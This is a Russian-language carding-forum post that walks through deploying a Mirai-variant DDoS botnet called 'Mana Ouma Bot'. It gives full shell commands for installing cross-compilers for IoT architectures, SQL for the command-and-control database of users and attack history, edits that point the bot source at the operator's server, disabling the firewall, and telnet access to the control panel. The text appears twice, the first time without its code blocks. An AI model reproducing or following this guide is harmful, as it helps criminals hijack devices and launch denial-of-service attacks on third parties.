Carder
Professional
- Messages
- 2,619
- Reaction score
- 1,869
- Points
- 113
Привет!
Данный ботнет написан на языке C & GO.
Необходимости
1. Сервер на CentOS 6.* (не выше 6, могут быть ошибки)
2. PuTTy + mobaXterm
С этим разобрались. Далее изменим настройки ботнета под себя.
Что требуется заменить?
Заменить IP адреса на свои.
В файле /dlr/main.c (строка 6, так-же заменить точки в IP запятой)
В файле /stuff/thinkphp.c (строка 277)
В файле /stuff/stuff/includes.h (строка 25, 26 (20 не трогайте))
В файле /telnet/src/headers/config.h (строка 3, 6)
В файле ui/m.go (строка 10, заменить IP, 11 логин от MySQL, 12 пароль, от MySQL, 13 название БД (MySQL мы настроем позже)
Такс... это понятно! Давайте настроим MySQL.
Настройка MySQL
1. Нажимаем Enter, и ставим пароль от root (такой-же как мы указывали в ui/m.go).
2. Далее везде отвечаем Y.
После того как сделали, можно настроить базу данных.
Создание БД
И вводим пароль который мы установили.
Просто скопируйте это, и вставьте в терминал.
Замените PASS во 2 строке, вставив туда пароль от root.
В строке REPLACE INTO users, замените LOGIN и PASS, логином и паролем для доступа в панель управления.
С базой данных разобрались.
Осталось перекинуть файлы в директорию /root.
И ввести еще несколько команд.
Команды
Выключим службы которые могут нам мешать.
Перезапустим службы.
Готово!
Если вы перекинули файлы, то можно запускать наш ботнет!
для этого введем данные команды:
sh build.sh
После этого отредактируем файл /usr/include/bits/typesizes.h
Пишем:
Спускаемся в самый низ, и заменяем 1024 на 999999.
Для запуска ботнета пишем:
После этого в терминале должна появиться надпись:
[ Mana Ouma Bot Mirai Variant ]
Если эта надпись появилась, поздравляю, вы все сделали правильно!
Нажимаем CTRL + A + D, что-бы свернуть.
1. Открываем PyTTy.
2. Вводим ваш IP и порт 1791.
3. Ставим тип соединения: Telnet.
Подключаемся.
Вводим ваш логин и пароль.
Данный ботнет написан на языке C & GO.
Необходимости
1. Сервер на CentOS 6.* (не выше 6, могут быть ошибки)
2. PuTTy + mobaXterm
Суть:
Обновление и установка
Code:
sudo su
yum update -y
yum install epel-release -y
yum groupinstall "Development Tools" -y
yum install gmp-devel -y
ln -s /usr/lib64/libgmp.so.3 /usr/lib64/libgmp.so.10
yum install screen wget bzip2 gcc nano gcc-c++ electric-fence sudo git libc6-dev httpd xinetd tftpd tftp-server mysql mysql-server gcc glibc-static -y
mkdir /etc/xcompile
cd /etc/xcompile
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i586.tar.bz2
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-m68k.tar.bz2
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mips.tar.bz2
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mipsel.tar.bz2
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-powerpc.tar.bz2
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sh4.tar.bz2
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sparc.tar.bz2
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-armv4l.tar.bz2
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-armv5l.tar.bz2
wget https://landley.net/aboriginal/downloads/old/binaries/1.2.6/cross-compiler-armv7l.tar.bz2
tar -jxf cross-compiler-i586.tar.bz2
tar -jxf cross-compiler-m68k.tar.bz2
tar -jxf cross-compiler-mips.tar.bz2
tar -jxf cross-compiler-mipsel.tar.bz2
tar -jxf cross-compiler-powerpc.tar.bz2
tar -jxf cross-compiler-sh4.tar.bz2
tar -jxf cross-compiler-sparc.tar.bz2
tar -jxf cross-compiler-armv4l.tar.bz2
tar -jxf cross-compiler-armv5l.tar.bz2
tar -jxf cross-compiler-armv6l.tar.bz2
tar -jxf cross-compiler-armv7l.tar.bz2
rm -rf *.tar.bz2
mv cross-compiler-i586 i586
mv cross-compiler-m68k m68k
mv cross-compiler-mips mips
mv cross-compiler-mipsel mipsel
mv cross-compiler-powerpc powerpc
mv cross-compiler-sh4 sh4
mv cross-compiler-sparc sparc
mv cross-compiler-armv4l armv4l
mv cross-compiler-armv5l armv5l
mv cross-compiler-armv6l armv6l
mv cross-compiler-armv7l armv7l
cd /tmp
wget https://dl.google.com/go/go1.13.5.linux-amd64.tar.gz
tar -xvf go1.13.5.linux-amd64.tar.gz
mv go /usr/local
export GOROOT=/usr/local/go
export GOPATH=$HOME/Projects/Proj1
export PATH=$GOPATH/bin:$GOROOT/bin:$PATH
go version
go env
cd ~/
go get github.com/go-sql-driver/mysql
go get github.com/mattn/go-shellwords
С этим разобрались. Далее изменим настройки ботнета под себя.
Что требуется заменить?
Заменить IP адреса на свои.
В файле /dlr/main.c (строка 6, так-же заменить точки в IP запятой)
В файле /stuff/thinkphp.c (строка 277)
В файле /stuff/stuff/includes.h (строка 25, 26 (20 не трогайте))
В файле /telnet/src/headers/config.h (строка 3, 6)
В файле ui/m.go (строка 10, заменить IP, 11 логин от MySQL, 12 пароль, от MySQL, 13 название БД (MySQL мы настроем позже)
Такс... это понятно! Давайте настроим MySQL.
Настройка MySQL
Code:
service mysqld start
mysql_secure_installation
1. Нажимаем Enter, и ставим пароль от root (такой-же как мы указывали в ui/m.go).
2. Далее везде отвечаем Y.
После того как сделали, можно настроить базу данных.
Создание БД
Code:
mysql -u root -p
И вводим пароль который мы установили.
Code:
use mysql
GRANT ALL ON *.* to root@'%' IDENTIFIED BY 'PASS';
FLUSH PRIVILEGES;
CREATE DATABASE Mana;
use Mana;
CREATE TABLE `history` (
`id` int(10) unsigned NOT NULL AUTO_INCREMENT,
`user_id` int(10) unsigned NOT NULL,
`time_sent` int(10) unsigned NOT NULL,
`duration` int(10) unsigned NOT NULL,
`command` text NOT NULL,
`max_bots` int(11) DEFAULT '-1',
PRIMARY KEY (`id`),
KEY `user_id` (`user_id`)
);
CREATE TABLE `users` (
`id` int(10) unsigned NOT NULL AUTO_INCREMENT,
`username` varchar(32) NOT NULL,
`password` varchar(32) NOT NULL,
`duration_limit` int(10) unsigned DEFAULT NULL,
`cooldown` int(10) unsigned NOT NULL,
`wrc` int(10) unsigned DEFAULT NULL,
`last_paid` int(10) unsigned NOT NULL,
`max_bots` int(11) DEFAULT '-1',
`admin` int(10) unsigned DEFAULT '0',
`intvl` int(10) unsigned DEFAULT '30',
`api_key` text,
PRIMARY KEY (`id`),
KEY `username` (`username`)
);
CREATE TABLE `whitelist` (
`id` int(10) unsigned NOT NULL AUTO_INCREMENT,
`prefix` varchar(16) DEFAULT NULL,
`netmask` tinyint(3) unsigned DEFAULT NULL,
PRIMARY KEY (`id`),
KEY `prefix` (`prefix`)
);
REPLACE INTO users VALUES (NULL, 'LOGIN', 'PASS', 0, 0, 0, 0, -1, 1, 30, '');
CREATE TABLE `logins` (
`id` int(11) NOT NULL,
`username` varchar(32) NOT NULL,
`action` varchar(32) NOT NULL,
`ip` varchar(15) NOT NULL,
`timestamp` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP
) ENGINE=InnoDB DEFAULT CHARSET=latin1;
exit;
Просто скопируйте это, и вставьте в терминал.
Замените PASS во 2 строке, вставив туда пароль от root.
В строке REPLACE INTO users, замените LOGIN и PASS, логином и паролем для доступа в панель управления.
С базой данных разобрались.
Осталось перекинуть файлы в директорию /root.
И ввести еще несколько команд.
Команды
Выключим службы которые могут нам мешать.
Code:
service iptables stop
Перезапустим службы.
Code:
service httpd restart
service mysqld restart
Готово!
Если вы перекинули файлы, то можно запускать наш ботнет!
для этого введем данные команды:
Code:
cd ~/
chmod 0777 * -R
sh build.sh
После этого отредактируем файл /usr/include/bits/typesizes.h
Пишем:
Code:
nano /usr/include/bits/typesizes.h
Спускаемся в самый низ, и заменяем 1024 на 999999.
Для запуска ботнета пишем:
Code:
screen ./ui
После этого в терминале должна появиться надпись:
[ Mana Ouma Bot Mirai Variant ]
Если эта надпись появилась, поздравляю, вы все сделали правильно!
Нажимаем CTRL + A + D, что-бы свернуть.
Вот и все! Вы установили данный ботнет!
Как подключится?1. Открываем PyTTy.
2. Вводим ваш IP и порт 1791.
3. Ставим тип соединения: Telnet.
Подключаемся.
Вводим ваш логин и пароль.